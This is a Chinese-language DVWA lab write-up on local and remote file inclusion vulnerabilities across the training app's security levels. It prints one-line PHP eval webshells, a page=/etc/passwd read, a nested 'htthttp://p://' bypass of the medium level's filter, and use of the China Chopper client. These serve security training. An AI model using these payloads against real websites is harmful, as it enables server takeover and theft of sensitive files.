【DVWA】文件包含漏洞
文件包含是正常现象,主配置文件有基础的一些配置,nginx虚拟机,include需要包含进来
一.什么是文件包含漏洞
文件包含漏洞:File Inclusion,文件包含(漏洞)
危害
-
执行恶意代码,获取敏感文件;包含恶意文件控制网站;控制服务器
注意:文件包含本身是没有问题的,问题出在如果在执行文件包含动作时没有对文件内容进行审核造成漏洞利用。
二.文件包含漏洞分类
-
本地文件包含LFI(Local File Inclusion) :被包含的文件在服务器本地 违规代码需要先上传到服务器的本地,才能继续执行。 远程文件包含RFI(Remote File Inclusion) :被包含的文件在第三方服务器时 利用时包含时后面跟URL地址
三.实验
(1)低安全级别
1)本地文件包含
-
使用DVWA文件包含漏洞的源码:对page变量未作任何限制,来进行利用可以访问敏感信息等。
进行利用
1.例如page=/etc/passswd 来访问敏感信息
2.- 使用一句话木马测试
-
执行文件包含并测试
root@owaspbwa:/var/www/dvwa/vulnerabilities/fi# ls help include.php index.php shell20.php source root@owaspbwa:/var/www/dvwa/vulnerabilities/fi# more shell20.php <?php eval($_POST[test]);?> root@owaspbwa:/var/www/dvwa/vulnerabilities/fi#
-
采用中国菜刀进行测试
漏洞利用成功
2)远程文件包含
需要开启了php配置中的allow_url_fopen选项(选项开启之后,服务器允许包含一个远程的文件)
1.创建木马文件,启动apache服务 2.可以远程访问此文件 3.漏洞利用 4.结果,产生test1.php文件
root@owaspbwa:~# ls /var/www/dvwa/vulnerabilities/fi/ help include.php index.php shell20.php source test1.php root@owaspbwa:~# cat /var/www/dvwa/vulnerabilities/fi/test1.php <?php eval($_post[tong1]);?>root@owaspbwa:~# root@owaspbwa:~#
(2)中级安全级别
1.源码: 对page变量进行了限制,如果有http://,,一定程度上限制了远程文件包含,但是本地文件包含未作任何限制(同低安全级别一样) 2.漏洞利用
- 本地利用同低级别操作一样
- 远程包含文件利用
正常输入不能执行产生php文件 但是可以http://进行变换写,例如htthttp://p://,执行后能产生php文件
(3)高安全级别
1.源码(能够被包含文件直接被写死,只能是include.php)